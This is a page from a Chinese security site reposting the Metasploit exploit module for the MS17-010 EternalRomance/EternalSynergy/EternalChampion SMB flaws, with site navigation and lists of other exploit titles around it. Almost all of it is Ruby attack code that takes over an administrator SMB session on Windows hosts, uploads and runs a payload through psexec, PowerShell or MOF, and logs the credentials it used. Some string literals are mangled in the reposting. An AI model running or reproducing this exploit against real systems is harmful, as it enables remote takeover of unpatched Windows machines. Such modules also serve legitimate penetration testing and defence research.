首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS17-010 EternalRomance / EternalSynergy / EternalChampion SMB Remote Windows Co
来源:metasploit.com 作者:sleepya 发布时间:2018-02-05  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings >
#   Local Policies >
#    Security Options >
#     Network Access: Sharing and security model for local accounts

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',
      'Description'    => %q{
        This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where
        primitive. This will then be used to overwrite the connection session information with as an
        Administrator session. From there, the normal psexec payload code execution is done.

        Exploits a type confusion between Transaction and WriteAndX requests and a race condition in
        Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy
        exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a
        named pipe.
      },
      'Author'         =>
        [
          'sleepya',          # zzz_exploit idea and offsets
          'zerosum0x0',
          'Shadow Brokers',
          'Equation Group'
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC' => 'thread'
        },
      'References'     =>
        [
          [ 'AKA', 'ETERNALSYNERGY' ],
          [ 'AKA', 'ETERNALROMANCE' ],
          [ 'AKA', 'ETERNALCHAMPION' ],
          [ 'AKA', 'ETERNALBLUE'],  # does not use any CVE from Blue, but Search should show this, it is preferred
          [ 'MSB', 'MS17-010' ],
          [ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests
          [ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests
          [ 'CVE', '2017-0147'], # for EternalRomance reference
          [ 'URL', 'https://github.com/worawit/MS17-010' ],
          [ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],
          [ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],
        ],
      'Payload'        =>
        {
          'Space'        => 3072,
          'DisableNops'  => true
        },
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'PowerShell', { } ],
          [ 'Native upload', { } ],
          [ 'MOF upload', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 14 2017'
    ))

    register_options(
      [
        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN
]) ]) register_advanced_options( [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) ]) end def exploit begin eternal_pwn(datastore['RHOST']) smb_pwn() rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e print_error("#{e.message}") rescue ::Errno::ECONNRESET, ::Rex::Proto::SMB::Exceptions::LoginError, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e print_error("#{e.class}: #{e.message}") rescue => error print_error(error.class.to_s) print_error(error.message) print_error(error.backtrace.join("\n")) ensure eternal_cleanup() # restore session end end def smb_pwn() case target.name when 'Automatic' if powershell_installed? print_status('Selecting PowerShell target') powershell else print_status('Selecting native target') native_upload end when 'PowerShell' powershell when 'Native upload' native_upload when 'MOF upload' mof_upload end handler end # TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to # be moved into a mixin def powershell_installed? share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}" case datastore['SHARE'].upcase when 'ADMIN path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' when 'C path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' else path = datastore['PSH_PATH'] end simple.connect(share) vprint_status("Checking for #{path}") if smb_file_exist?(path) vprint_status('PowerShell found') psh = true else vprint_status('PowerShell not found') psh = false end simple.disconnect(share) psh end def powershell ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") end # Execute the powershell command print_status("Executing the payload...") begin psexec(command) rescue StandardError => exec_command_error fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' # Upload the shellcode to a file print_status("Uploading payload...") smbshare = datastore['SHARE'] fileprefix = "" # if SHARE = Users/sasha/ or something like this if smbshare =~ /.[\\\/]/ subfolder = true smbshare = datastore['SHARE'].dup smbshare = smbshare.gsub(/^[\\\/]/,"") folder_list = smbshare.split(/[\\\/]/) smbshare = folder_list[0] fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') else subfolder = false simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") fd = smb_open("\\#{filename}", 'rwct') end exe = '' opts = { :servicename => servicename, :serviceencoder => serviceencoder} begin exe = generate_payload_exe_service(opts) fd << exe ensure fd.close end if subfolder print_status("Created \\#{fileprefix}\\#{filename}...") else print_status("Created \\#{filename}...") end # Disconnect from the share simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") # define the file location if datastore['SHARE'] == 'ADMIN file_location = "%SYSTEMROOT%\\#{filename}" elsif datastore['SHARE'] =~ /^[a-zA-Z]\$/ file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" else file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end psexec(file_location, false) unless datastore['SERVICE_PERSIST'] print_status("Deleting \\#{filename}...") #This is not really useful but will prevent double \\ on the wire :) if datastore['SHARE'] =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin simple.delete("\\#{fileprefix}\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") end else simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin simple.delete("\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{filename} failed: #{e.message}") end end end end def mof_upload share = "\\\\#{datastore['RHOST']}\\ADMIN___FCKpd___0quot; filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" # payload as exe print_status("Trying wbemexec...") print_status("Uploading Payload...") if datastore['SHARE'] != 'ADMIN print_error('Wbem will only work with ADMIN$ share') return end simple.connect(share) exe = generate_payload_exe fd = smb_open("\\system32\\#{filename}", 'rwct') fd << exe fd.close print_status("Created %SystemRoot%\\system32\\#{filename}") # mof to cause execution of above mofname = rand_text_alphanumeric(14) + ".MOF" mof = generate_mof(mofname, filename) print_status("Uploading MOF...") fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') fd << mof fd.close print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") # Disconnect from the ADMIN$ simple.disconnect(share) end def report_auth service_data = { address: ::Rex::Socket.getaddress(datastore['RHOST'],true), port: datastore['RPORT'], service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_data: datastore['SMBPass'], username: datastore['SMBUser'].downcase } if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' credential_data.merge!({ realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: datastore['SMBDomain'] }) end if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ credential_data.merge!({:private_type => :ntlm_hash}) else credential_data.merge!({:private_type => :password}) end credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { access_level: 'Admin', core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·Apport / ABRT chroot Privilege
·Online Voting System - Authent
·Flexense SyncBreeze Enterprise
·Microsoft Windows Subsystem fo
·Oracle Hospitality Simphony (M
·WebKit - 'WebCore::FrameView::
·WebKit - 'detachWrapper' Use-A
·Sync Breeze Enterprise 10.4.18
·BMC Server Automation RSCD Age
·systemd Local Privilege Escala
·Dup Scout Enterprise 10.4.16 I
·BMC BladeLogic RSCD Agent 8.3.
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved